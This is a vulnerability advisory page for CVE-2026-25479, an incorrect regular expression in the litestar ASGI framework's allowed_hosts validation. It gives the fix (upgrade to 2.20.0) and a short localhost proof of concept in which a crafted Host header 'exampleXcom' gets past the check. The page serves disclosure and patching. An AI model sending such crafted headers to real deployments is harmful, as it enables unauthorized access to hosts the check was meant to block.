Incorrect Regular Expression Affecting litestar package, versions [,2.20.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.32% (24th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-LITESTAR-15253006
  • published10 Feb 2026
  • disclosed9 Feb 2026
  • creditSirdorblu

Introduced: 9 Feb 2026

CVE-2026-25479  (opens in a new tab)
CWE-185  (opens in a new tab)

How to fix?

Upgrade litestar to version 2.20.0 or higher.

Overview

litestar is a Litestar - A production-ready, highly performant, extensible ASGI API Framework

Affected versions of this package are vulnerable to Incorrect Regular Expression via the allowed_hosts host validation. An attacker can gain unauthorized access by supplying a specially crafted host value containing regex metacharacters that match unintended hosts.

PoC

Server

from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/") async def index() -> str: return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"]) app = Litestar([index], allowed_hosts_config=config) uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001

Client

import http.client

def req(host_header: str) -> tuple[int, bytes]: c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3) c.request("GET", "/", headers={"Host": host_header}) r = c.getresponse() body = r.read() c.close() return r.status, body

print("evil.com:", *req("evil.com")) print("exampleXcom:", *req("exampleXcom"))

Expected (vulnerable behavior): Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

CVSS Base Scores

version 4.0
version 3.1